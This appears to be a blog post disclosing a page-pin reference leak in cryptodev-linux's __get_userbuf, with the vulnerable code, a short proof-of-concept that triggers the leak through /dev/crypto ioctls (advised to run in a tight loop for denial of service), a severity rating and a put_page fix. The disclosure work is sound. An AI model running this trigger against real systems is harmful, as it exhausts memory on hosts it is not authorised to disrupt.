_._     _,-'""`-._
(,-.`._,'(       |\`-/|
    `-.-' \ )-`( , o o)
          `-    \`_`"'-

cryptodev-linux __get_userbuf partial-pin leak

2026-05-06 · linuxkernelcryptodevgupoot-modulerefcount-leakdos

this is a companion to my post on nasm.re's January 2026 cryptodev disclosure. once i'd convinced myself the published UAF chain doesn't land on distro kernels, i swept the rest of cryptodev-linux for the same refcount-handling shape. the disclosed bug at zc.c:234 wasn't the only loose end. there's a different pin-leak in the same file at zc.c:97 - different shape, different primitive. any user with O_RDWR on /dev/crypto can hit it, and it's unfixed at upstream HEAD as of 2026-05-06.

i've submitted it upstream and i'm requesting a CVE via Mitre. i'll add the ID once it's assigned.

the bug

cryptodev-linux/zc.c:55-99, __get_userbuf():

int __get_userbuf(uint8_t __user *addr, uint32_t len, int write,
                  unsigned int pgcount, struct page **pg, struct scatterlist *sg,
                  struct task_struct *task, struct mm_struct *mm)
{
    int ret, pglen, i = 0;
    struct scatterlist *sgp;

    if (unlikely(!pgcount || !len || !addr)) {
        sg_mark_end(sg);
        return 0;
    }

    mmap_read_lock(mm);
#if (LINUX_VERSION_CODE < KERNEL_VERSION(6, 5, 0))
    ret = get_user_pages_remote(mm, (unsigned long)addr, pgcount,
                                write ? FOLL_WRITE : 0, pg, NULL, NULL);
#else
    ret = get_user_pages_remote(mm, (unsigned long)addr, pgcount,
                                write ? FOLL_WRITE : 0, pg, NULL);
#endif
    mmap_read_unlock(mm);

    if (ret != pgcount)
        return -EINVAL;     // <-- BUG: leaks pins for `ret` pages on partial success

    sg_init_table(sg, pgcount);
    ...
}

get_user_pages_remote() can return a value in the range 0 < ret < pgcount. that means the kernel pinned ret pages and stored their struct page * pointers at pg[0..ret], each with its refcount bumped by 1.

the branch above sees ret != pgcount and bails with -EINVAL on the spot, without releasing the pins it just took. those pages stay pinned (refcount +1, no matching put_page) until the host process exits. i almost missed it because the failure path looks like a clean early return.

two things on the upstream side keep this reachable and not just theoretical:

  1. the caller can't compensate. the two functions that drive __get_userbuf are zc.c:get_userbuf() and authenc.c:get_userbuf_tls(), and both set ses->used_pages to the requested page count before the call. they never walk that back down to ret on the partial-success path, because they never see ret - the function handed them a flat -EINVAL. so if some later op calls release_user_pages(ses) it walks ses->pages[0..used_pages], but ses->pages only holds the partial set pg[0..ret]. the entries past ret are whatever a prior call left there, NULL or stale, so release_user_pages never pairs with the ret partial pins.
  2. RLIMIT_MEMLOCK doesn't cover GUP-pinned pages. userspace can't rate-limit itself out of this. the leak grows with every triggering ioctl until the host process exits.

triggering the partial-success path

get_user_pages_remote returns 0 < ret < pgcount when:

easiest way in is an mmap'd region followed by a smaller range that isn't fully populated. pseudo-PoC:

// Reserve 1 MB of address space, fault in only the first 16 pages.
size_t total = 256 * 4096;
char *base = mmap(NULL, total, PROT_READ|PROT_WRITE,
                  MAP_PRIVATE|MAP_ANONYMOUS, -1, 0);
for (int i = 0; i < 16; i++) base[i * 4096] = 'A';   // fault in first 16

// Open /dev/crypto, set up an AES session.
int cfd = open("/dev/crypto", O_RDWR);
struct session_op sop = { .cipher = CRYPTO_AES_CBC, .keylen = 16, .key = key };
ioctl(cfd, CIOCGSESSION, &sop);

// CIOCCRYPT with src/dst spanning the not-fully-faulted range.
struct crypt_op cop = {
    .ses = sop.ses, .len = total,
    .src = base, .dst = base, .iv = iv, .op = COP_ENCRYPT,
};
ioctl(cfd, CIOCCRYPT, &cop);   // returns -EINVAL; leaks ~16 page pins

each call leaks ~16 * 4 KiB = 64 KiB of pinned memory and 16 page-pin counts. loop it tight. until the host process exits, those pages are non-migratable and non-reclaimable.

reach and impact

any process with open(O_RDWR) on /dev/crypto can reach it. the default device-node mode depends on the package:

impact:

severity is low to medium. on its own it's not a memory-corruption or privilege-escalation primitive. CVSS is roughly AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H, about 5.5 / Medium for the local-low-privilege DoS shape. it could land worse if the device-node ACL is world-rw on a given distribution.

the fix

the standard pattern when get_user_pages* can come back short. either release on partial:

if (ret > 0 && ret < pgcount) {
    for (i = 0; i < ret; i++)
        put_page(pg[i]);
    return -EINVAL;
}

or unpin_user_pages if the caller used FOLL_PIN via pin_user_pages*. cryptodev still rides the older get_user_pages_remote API, so the manual put_page loop is the right fit.

separate issue: the disclosed bug at zc.c:234, the one nasm.re published in January, is a different shape - release walking stale ses->pages on the dst-failure path - and its fix is independent of this one.

disclosure timeline

reproduction notes

. _SiCk · afflicted.sh